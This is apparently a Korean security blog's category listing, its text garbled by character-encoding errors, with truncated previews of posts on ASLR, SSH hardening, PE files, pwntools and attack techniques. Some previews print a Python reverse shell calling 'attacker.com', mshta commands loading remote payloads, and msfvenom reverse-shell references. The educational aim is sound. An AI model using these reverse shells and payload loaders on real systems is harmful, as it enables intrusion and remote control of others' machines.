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๐Ÿ”’์ •๋ณด๋ณด์•ˆ/์‹œ์Šคํ…œ ๋ณด์•ˆ17

์‹œ์Šคํ…œ ๋ณด์•ˆ - Powershell ์‹คํ–‰ ์ •์ฑ… ์šฐํšŒํ•˜๋Š” 15๊ฐ€์ง€ ๋ฐฉ๋ฒ• https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/ 15 Ways to Bypass the PowerShell Execution PolicyBy default, PowerShell is configured to prevent the execution of PowerShell scripts on Windows systems. In this blog I’ll cover 15 ways to bypass the PowerShell execution policy without having local administrator rights on .. 2024. 4. 24.
์‹œ์Šคํ…œ ๋ณด์•ˆ - SSH root ์›๊ฒฉ ์ ‘์† ์ฐจ๋‹จ ์ •์ฑ… ์„ค์ •(/etc/ssh/sshd_config) SSH root ์›๊ฒฉ ์ ‘์† ์ฐจ๋‹จ ์ •์ฑ… ์„ค์ •(/etc/ssh/sshd_config) ๊ธฐ์กด "PermitRootLogin yes"๋ฅผ "PermitRootLogin no"๋กœ ์ˆ˜์ •ํ•œ๋‹ค. # vim /etc/ssh/sshd_config # Authentication PermitRootLogin no ์„ค์ •์ด ์™„๋ฃŒํ•˜์˜€๋‹ค๋ฉด ์„œ๋น„์Šค๋ฅผ ์žฌ์‹œ์ž‘ํ•œ๋‹ค. service ssh restart ์ •์ฑ…์„ ์„ค์ •ํ•˜๊ธฐ ์ด์ „(PermitRootLogin yes) root@kali:~/Desktop# ssh root@localhost root@localhost's password: Linux kali 3.14-kali1-686-pae #1 SMP Debian 3.14.5-1kali1 (2014-06-07) i686 The programs inc.. 2023. 11. 10.
์‹œ์Šคํ…œ ๋ณด์•ˆ - ๋ฆฌ๋ˆ…์Šค ์ปค๋„ ASLR ๋ฉ”๋ชจ๋ฆฌ ๋ณดํ˜ธ ๊ธฐ๋ฒ• ์„ค์ •(randomize_va_space) ASLR(Address Space Layout Randomization)์ด๋ž€? ๋ฉ”๋ชจ๋ฆฌ ๊ณต๊ฒฉ์„ ๋ฐฉ์–ดํ•˜๊ธฐ ์œ„ํ•ด ์ฃผ์†Œ ๊ณต๊ฐ„ ๋ฐฐ์น˜๋ฅผ ๋‚œ์ˆ˜ ํ™”ํ•˜๋Š” ๊ธฐ๋ฒ•์œผ๋กœ ์‹คํ–‰ ์‹œ๋งˆ๋‹ค ๋ฉ”๋ชจ๋ฆฌ ์ฃผ์†Œ๋ฅผ ๋ณ€๊ฒฝ์‹œ์ผœ ์•…์„ฑ์ฝ”๋“œ์— ์˜ํ•œ ํŠน์ •์ฃผ์†Œ ํ˜ธ์ถœ์„ ๋ฐฉ์ง€ํ•œ๋‹ค. ๋ฆฌ๋ˆ…์Šค ASLR ์ ์šฉ (/proc/sys/kernel/randomize_va_space ์ˆ˜์ •) echo 0 > /proc/sys/kernel/randomize_va_space # ASLR ๋ฏธ์„ค์ • echo 1 > /proc/sys/kernel/randomize_va_space # ASLR ๋ถ€๋ถ„์„ค์ •(heap๋งŒ ๋ฏธ์„ค์ •) echo 2 > /proc/sys/kernel/randomize_va_space # ASLR ๋ชจ๋‘์„ค์ •(stack, heap, library ๋“ฑ) sysctl ๋ช…๋ น์–ด๋กœ ๋ฆฌ๋ˆ….. 2023. 11. 9.
์‹œ์Šคํ…œ ๋ณด์•ˆ - EXE ํŒŒ์ผ PE(Portable Executable) ๊ตฌ์กฐ ๋ถ„์„ํ•˜๊ธฐ PE(Portable Executable)์ด๋ž€? Windows ์šด์˜์ฒด์ œ์—์„œ ์‹คํ–‰๋˜๋Š” ์ด์ง„ ํŒŒ์ผ ํ˜•์‹์„ ์˜๋ฏธํ•œ๋‹ค. ์ด ํŒŒ์ผ ํ˜•์‹์€ Windows ์šด์˜์ฒด์ œ์—์„œ ์‹คํ–‰ ๊ฐ€๋Šฅํ•œ ํ”„๋กœ๊ทธ๋žจ, DLL, ๋“œ๋ผ์ด๋ฒ„ ๋“ฑ์— ํฌํ•จ๋œ๋‹ค. ๋ฆฌ๋ˆ…์Šค์—๋„ PE์™€ ๋น„์Šทํ•œ ํŒŒ์ผ ํ˜•์‹์ด ์žˆ์œผ๋ฉฐ ELF(Executable and Linkable Format)๋ผ๊ณ  ๋ถ€๋ฅธ๋‹ค. PE ํŒŒ์ผ ์ข…๋ฅ˜ 1) ์‹คํ–‰ ๊ณ„์—ด : EXE, SCR 2) ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๊ณ„์—ด : DLL, OCX, CPL, DRV 3) ๋“œ๋ผ์ด๋ธŒ ๊ณ„์—ด : SYS, VXD 4) ์˜ค๋ธŒ์ ํŠธ ํŒŒ์ผ ๊ณ„์—ด : OBJ ์‚ฌ์šฉ ๋ชฉ์  ํ”„๋กœ๊ทธ๋žจ์„ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” ๋ฉ”๋ชจ๋ฆฌ ๊ณต๊ฐ„์— ์ ์žฌ๊ฐ€ ๋˜์–ด์•ผ ํ•œ๋‹ค. ์ด๋•Œ PE์—๋Š” ๋ฉ”๋ชจ๋ฆฌ ๊ณต๊ฐ„์˜ ์–ด๋”” ์ฃผ์†Œ์— ์ ์žฌ๊ฐ€ ๋ ์ง€์™€ ์‹คํ–‰์— ํ•„์š”ํ•œ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๊ฐ™์€ ์ •๋ณด๋“ค์ด ํฌํ•จ๋˜์–ด ์žˆ๋‹ค. PE .. 2023. 10. 7.
์‹œ์Šคํ…œ ๋ณด์•ˆ - pwntools pwntools๋Š” ๋ฆฌ๋ˆ…์Šค ํ™˜๊ฒฝ์—์„œ ์‹คํ–‰ ํ”„๋กœ๊ทธ๋žจ์˜ ์ต์Šคํ”Œ๋กœ์ž‡์„ ์ž‘์„ฑํ•˜๋„๋ก ๋„์›€์„ ์ฃผ๋Š” ํŒŒ์ด์ฌ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์ด๋‹ค. CTF์—์„œ๋„ ์œ ์šฉํ•˜๊ฒŒ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ๋‹ค. pip ์„ค์น˜ ๋ช…๋ น์–ด python3 -m pip install --upgrade pwntools ์‚ฌ์šฉ ์˜ˆ์ œ >>> conn = remote('ftp.ubuntu.com',21) >>> conn.recvline() # doctest: +ELLIPSIS b'220 ...' >>> conn.send(b'USER anonymous\r\n') >>> conn.recvuntil(b' ', drop=True) b'331' >>> conn.recvline() b'Please specify the password.\r\n' >>> conn.close() nc(NetCat), .. 2023. 3. 25.
์‹œ์Šคํ…œ ๋ณด์•ˆ - ์œˆ๋„์šฐ MSHTA(Microsoft HTML Application) ๊ณต๊ฒฉ command-line mshta.exe vbscript:Close(Execute("GetObject(""script:http://127.0.0.1:4444/payload.sct"")")) mshta.exe http://127.0.0.1:4444/payload.hta mshta.exe \\127.0.0.1\folder\payload.hta payload.hta (SCT payloads) ๊ฒฐ๊ณผ HTA(HTML Application) ๋ณด๋Š” ๊ฒƒ์ฒ˜๋Ÿผ ์œˆ๋„์šฐ์— ๊ธฐ๋ณธ์ ์œผ๋กœ ์„ค์น˜๋œ mshta.exe(Microsoft HTML Application)๋Š” ๋งˆ์น˜ ์›น ๋ธŒ๋ผ์šฐ์ €์ฒ˜๋Ÿผ ์™ธ๋ถ€์— ์žˆ๋Š” ์›น ํŽ˜์ด์ง€๋ฅผ ์š”์ฒญํ•˜๋Š” ๊ธฐ๋Šฅ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค. ์—ฌ๊ธฐ์„œ ๋ฌธ์ œ์ ์€ ์—ฌ๊ธฐ์— ๋‚ด์žฅ๋œ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์ธํ„ฐ๋„ท ์ต์Šคํ”Œ๋กœ๋Ÿฌ ๊ธฐ๋ฐ˜์ธ์ง€ ActiveXObject.. 2023. 2. 7.
์‹œ์Šคํ…œ ๋ณด์•ˆ - ์‹คํ–‰ ํŒŒ์ผ์ด ์—†๋Š” ์šฐํšŒ ๊ธฐ๋ฒ•(ํŒŒ์ผ๋ฆฌ์Šค ๊ณต๊ฒฉ) "ํŒŒ์ผ๋ฆฌ์Šค"๋ผ๋Š” ์šฉ์–ด๋Š” ์ปดํ“จํ„ฐ์˜ ๋ฉ”๋ชจ๋ฆฌ์—๋งŒ ์žˆ๋Š” ๋ฐฑ๋„์–ด์™€ ๊ฐ™์€ ์œ„ํ˜‘์ด ํŒŒ์ผ์— ์ œ๊ณต๋˜์ง€ ์•Š์Œ์„ ์‹œ์‚ฌํ•ฉ๋‹ˆ๋‹ค. ํŒŒ์ผ๋ฆฌ์Šค ๊ธฐ๋ฒ•์€ ๊ณต๊ฒฉ์ด ํƒ์ง€๋˜์ง€ ์•Š๊ฑฐ๋‚˜ ์ถ”์ ์ด ํž˜๋“ค๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ ์•…์„ฑ์ฝ”๋“œ๊ฐ€ ๋””์Šคํฌ์— ํŒŒ์ผ ํ˜•ํƒœ๋กœ ์กด์žฌํ•˜์ง€ ์•Š์•„ ์Šค์บ” ๋Œ€์ƒ์ด ๋˜์ง€๊ฐ€ ์•Š๋Š”๋‹ค. 2016๋…„๋„๋ถ€ํ„ฐ ํŒŒ์›Œ์‰˜์ด ํ™œ์šฉ์ด ๋œ ํŒŒ์ผ๋ฆฌ์Šค ๊ณต๊ฒฉ์ด ์ฆ๊ฐ€์„ธ๋ฅผ ๋ณด์˜€๋‹ค. ์˜ˆ์ œ 1) LNK ํŒŒ์ผ์„ ์ด์šฉํ•œ ํŒŒ์›Œ์…ธ ์› ๋ผ์ด๋„ˆ ์‹คํ–‰ ํ™”๋ฉด์— clickme๋ผ๋Š” ์ด๋ฆ„์˜ ๋ฌธ์„œ ํŒŒ์ผ์ฒ˜๋Ÿผ ๋ณด์ด๋Š” ํŒŒ์ผ์€ ์‚ฌ์‹ค LNK ํŒŒ์ผ์ด๋‹ค. ํŒŒ์ผ์˜ ์†์„ฑ์„ ์‚ดํŽด๋ณด๋ฉด ํŒŒ์›Œ์…ธ์ด ์‹คํ–‰๋˜๋„๋ก ๋“ฑ๋ก๋ผ ์žˆ๋Š” ๊ฒƒ์„ ๋ณผ ์ˆ˜ ์žˆ๋Š”๋ฐ, ์—๋””ํ„ฐ๋ฅผ ์ด์šฉํ•ด ํŒŒ์ผ์˜ ๋‚ด์šฉ์„ ์ž์„ธํžˆ ์‚ดํŽด๋ณด๋ฉด, ํŒŒ์›Œ์…ธ ์› ๋ผ์ด๋„ˆ๋ผ๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜ ์žˆ๋‹ค. [๊ทธ๋ฆผ 7] clickme ๋ฌธ์„œ๋กœ ๋ณด์ด๋Š” LNK ํŒŒ์ผ ์˜ˆ์ œ 2) ์—‘์…€์„ ์ด์šฉํ•œ ํŒŒ์›Œ์…ธ ์› .. 2023. 2. 7.
์‹œ์Šคํ…œ ๋ณด์•ˆ - ํŒŒ์ด์ฌ ๋ฆฌ๋ฒ„์Šค ์‰˜ ์Šคํฌ๋ฆฝํŠธ export RHOST=attacker.com export RPORT=12345 python -c 'import sys,socket,os,pty;s=socket.socket() s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))) [os.dup2(s.fileno(),fd) for fd in (0,1,2)] pty.spawn("/bin/sh")' ๋Œ€๋ถ€๋ถ„์˜ ์œ ๋‹‰์Šค ๊ณ„์—ด์˜ OS(๋ฆฌ๋ˆ…์Šค, ๋งฅos)์—๋Š” python2๋Š” ์„ค์น˜๊ฐ€ ๋˜์–ด์žˆ๋Š” ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์œผ๋‹ˆ ๋ณ„๋„์˜ ์„ค์น˜ ์—†์ด ๋ช…๋ น์–ด๋งŒ์œผ๋กœ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•˜๋‹ค. ์ถœ์ฒ˜: https://gtfobins.github.io/gtfobins/python/#reverse-shell python | GTFOBins Run socat file:`tt.. 2023. 1. 25.
์‹œ์Šคํ…œ ๋ณด์•ˆ - ๋ฉ”ํƒ€์Šคํ”Œ๋กœ์ž‡ msfvenom ๋ฆฌ๋ฒ„์Šค ์‰˜ ์ œ์ž‘ ๋ช…๋ น์–ด ์ถœ์ฒ˜: https://infinitelogins.com/2020/01/25/msfvenom-reverse-shell-payload-cheatsheet/ MSFVenom Reverse Shell Payload Cheatsheet (with & without Meterpreter) Encrypt and Anonymize Your Internet Connection for as Little as $3/mo with PIA VPN. Learn More There are tons of cheatsheets out there, but I couldn’t find a comprehensive one that includes n… infinitelogins.com ์œˆ๋„์šฐ msfvenom -p windows/meterp.. 2023. 1. 24.
์‹œ์Šคํ…œ ๋ณด์•ˆ - EXE ํ™•์žฅ์ž๋ฅผ ๋Œ€์ฒดํ•˜๋Š” ํ™•์žฅ์ž๋“ค(SCR, COM, BAT) .exe ํ˜•ํƒœ์˜ ์‹คํ–‰ ํ”„๋กœ๊ทธ๋žจ ๋ง๊ณ ๋„ .scr๊ณผ .com์œผ๋กœ๋„ ๋™์ผํ•œ ์‹คํ–‰ ๊ฒฐ๊ณผ๋ฅผ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์žˆ๋‹ค. .scr .scr์€ ํ™”๋ฉด ๋ณดํ˜ธ๊ธฐ ์ฆ‰ Windows Screensaver๋ฅผ ์˜๋ฏธํ•˜์ง€๋งŒ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ํฌ๋งท ์ข…๋ฅ˜๊ฐ€ ์‹คํ–‰ ํŒŒ์ผ ํ˜•ํƒœ๋ผ์„œ .exe ํŒŒ์ผ์˜ ํ™•์žฅ์ž๋ฅผ .scr๋กœ ๋ฐ”๊ฟ”๋งŒ ์ค˜๋„ ๋˜‘๊ฐ™์ด ์‹คํ–‰์ด ์ž˜ ๋œ๋‹ค. ์ด๋ฅผ ์•…์šฉํ•˜์—ฌ ๋ฐฑ์‹  ํ”„๋กœ๊ทธ๋žจ์ด .exe๋ฅผ ์šฐ์„ ์ ์œผ๋กœ ๊ฒ€์‚ฌํ•œ๋‹ค๋Š” ๊ฒƒ์„ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด์„œ .scr์„ ๋Œ€์‹  ์‚ฌ์šฉํ•˜๋Š” ๋ฉ€์›จ์–ด๋„ ์กด์žฌํ•œ๋‹ค. .com .com์€ DOS Command File์œผ๋กœ .scr๊ณผ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ์‹คํ–‰ ํŒŒ์ผ ํฌ๋งท์„ ๊ฐ€์ง€๊ณ  ์žˆ์–ด์„œ .exe ํŒŒ์ผ์„ .com์œผ๋กœ ๋ฐ”๊ฟ”์ค˜๋„ ๋™์ผํ•˜๊ฒŒ ์‹คํ–‰๋œ๋‹ค. ์›๋ž˜๋Š” DOS ํ™˜๊ฒฝ์—์„œ ์ž์ฃผ ์‚ฌ์šฉ๋˜๋˜ ํ™•์žฅ์ž์ด์—ˆ๋‹ค๊ณ  ํ•œ๋‹ค. ์šฐ๋ฆฌ๊ฐ€ ์ž์ฃผ ์‚ฌ์šฉํ•˜๋Š” ์ธํ„ฐ๋„ท ๋„๋ฉ”์ธ ".com"๊ณผ๋Š” ๋‹ค๋ฅธ ๊ฒƒ.. 2022. 10. 7.
์‹œ์Šคํ…œ ๋ณด์•ˆ - Jscript Jscript๋Š” ECMA์Šคํฌ๋ฆฝํŠธ ํ‘œ์ค€์— ๊ธฐ๋ฐ˜์„ ๋‘” ์Šคํฌ๋ฆฝํŒ… ์–ธ์–ด์ด๊ธฐ ๋•Œ๋ฌธ์— Javascript๊ณผ ๋ฌธ๋ฒ•์ด ๋˜‘๊ฐ™๋‹ค. ๊ฒŒ๋‹ค๊ฐ€ ๋‘˜ ๋‹ค ๋ธŒ๋ผ์šฐ์ €์—์„œ ์‹คํ–‰์‹œํ‚ค๋Š” ์Šคํฌ๋ฆฝํŠธ ์–ธ์–ด์ธ ๊ฒƒ๋„ ๋™์ผํ•˜๋‹ค. (Jscript: ๋งˆ์ดํฌ๋กœ์†Œํ”„ํŠธ ๊ฐœ๋ฐœ, Javascript: ๋„ท์Šค์ผ€์ดํ”„ ๊ฐœ๋ฐœ) ํ•˜์ง€๋งŒ ๋‘˜์ด ๊ฐ™๋‹ค๊ณ  ํ•  ์ˆ˜๋Š” ์—†๋Š” ๊ฒŒ Jscript๋Š” ์‹œ์Šคํ…œ ๋‚ด์— ์™ธ๋ถ€ ํ”„๋กœ๊ทธ๋žจ์„ ์‹คํ–‰์‹œํ‚ฌ ์ˆ˜ ์žˆ๋Š” WScript(์œˆ๋„์šฐ ์Šคํฌ๋ฆฝํŠธ ํ˜ธ์ŠคํŠธ)๋ฅผ ์ถ”๊ฐ€ํ•œ ์–ธ์–ด๋ผ๋Š” ์ . ์˜ˆ์‹œ๋กœ Jscript๋Š” ์ธํ„ฐ๋„ท ์ต์Šคํ”Œ๋กœ๋Ÿฌ์—์„œ ์“ฐ์ด๋Š”๋ฐ(์ง€๊ธˆ์€ ์‚ฌ์šฉ ์ค‘๋‹จํ–ˆ์ง€๋งŒ) ์šฐ๋ฆฌ๊ฐ€ ์€ํ–‰ ์‚ฌ์ดํŠธ์— ๋“ค์–ด๊ฐ€๊ฒŒ ๋˜๋ฉด ์ปดํ“จํ„ฐ์— ๊น”๋ ค์žˆ๋Š” ๋ณด์•ˆ ํ”„๋กœ๊ทธ๋žจ๊ณผ ์ƒํ˜ธ์ž‘์šฉ์„ ํ•˜๊ฒŒ ๋˜๋Š”๋ฐ ์ด๊ฒŒ WScript ๋•๋ถ„์— ๊ฐ€๋Šฅํ•œ ์ผ์ด๋‹ค. ๊ฐ€๋” ์œˆ๋„์šฐ์—์„œ .js ํŒŒ์ผ์„ ํ™•์ธํ•˜๋ฉด ์•„๋ž˜์ฒ˜๋Ÿผ ๋ญ”๊ฐ€ ์•„์ด์ฝ˜๋„ ์žˆ๊ณ  ํ•œ๋ฐ .. 2022. 10. 6.
์‹œ์Šคํ…œ ๋ณด์•ˆ - ๋ฉ€์›จ์–ด ์ œ๋กœ(Malware Zero) ๋ฌด๋ฃŒ ์•…์„ฑ ์ฝ”๋“œ ์ œ๊ฑฐ ๋„๊ตฌ https://malzero.xyz/ Malware Zero - ๋ฌด๋ฃŒ ์•…์„ฑ์ฝ”๋“œ ์ œ๊ฑฐ ๋„๊ตฌ ์•…์„ฑ์ฝ”๋“œ ๋ฐ ์• ๋“œ์›จ์–ด ๋“ฑ ๊ฐ์ข… ์œ ํ•ด ํ”„๋กœ๊ทธ๋žจ์— ์˜ํ•œ ๊ณ ํ†ต์—์„œ ํ•ด๋ฐฉ๋˜๊ธฐ ์œ„ํ•ด ์„ค์น˜ ์—†์ด ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๋ฌด๋ฃŒ ์•…์„ฑ์ฝ”๋“œ ์ œ๊ฑฐ ๋„๊ตฌ malzero.xyz ๋ฉ€์›จ์–ด ์ œ๋กœ๋Š” ์•…์„ฑ์ฝ”๋“œ ๋ถ„์„์„ ๋‹ค๋ฃจ๋Š” ๋„ค์ด๋ฒ„ ์นดํŽ˜์ธ "๋ฐ”์ด๋Ÿฌ์Šค ์ œ๋กœ: ์‹œํ๋ฆฌํ‹ฐ ์ปค๋ฎค๋‹ˆํ‹ฐ"์—์„œ ๋งŒ๋“  ๋ฌด์„ค์น˜ ์•…์„ฑ ์ฝ”๋“œ ์ œ๊ฑฐ ๋„๊ตฌ์ด๋‹ค. ์œˆ๋„์šฐ ์ „์šฉ์ด๋ฉฐ, ์‹ ๊ธฐํ•˜๊ฒŒ ๋ช…๋ น ํ”„๋กฌํ”„ํŠธ๋กœ ์ž‘๋™ํ•˜๋Š” ๋ฐฉ์‹์ด๋ผ ๋‹ค๋ฅธ ์‹คํ–‰ํŒŒ์ผ(exe)์€ ์„ค์น˜ํ•  ํ•„์š”๊ฐ€ ์—†๋‹ค. ์ž๋™ ์—…๋ฐ์ดํŠธ ๊ธฐ๋Šฅ์ด ์กด์žฌํ•˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ํ•„์š”ํ•  ๋•Œ๋งˆ๋‹ค ๊ณต์‹ ์‚ฌ์ดํŠธ์—์„œ ๋‚ด๋ ค๋ฐ›์•„ ์‚ฌ์šฉํ•ด์•ผ ํ•œ๋‹ค. ๋ง‰ ์„ค์น˜๋œ ์ปดํ“จํ„ฐ๋Š” ์ž˜ ๋ชจ๋ฅด๊ฒ ๋Š” ๋ฐ ์‚ฌ์šฉํ•œ ์ง€ ์˜ค๋ž˜๋œ ๋‚ด ์ปดํ“จํ„ฐ๋กœ ๋ฉ€์›จ์–ด ์ œ๋กœ๋ฅผ ๋Œ๋ฆฌ๋‹ˆ๊น ๊ฑฐ์˜ 2์‹œ๊ฐ„ ์ •๋„ ์ž‘์—…์ด ์ด๋ฃจ์–ด์กŒ๋‹ค. ์•„๋งˆ ํด๋”๋ž‘ .. 2022. 9. 16.
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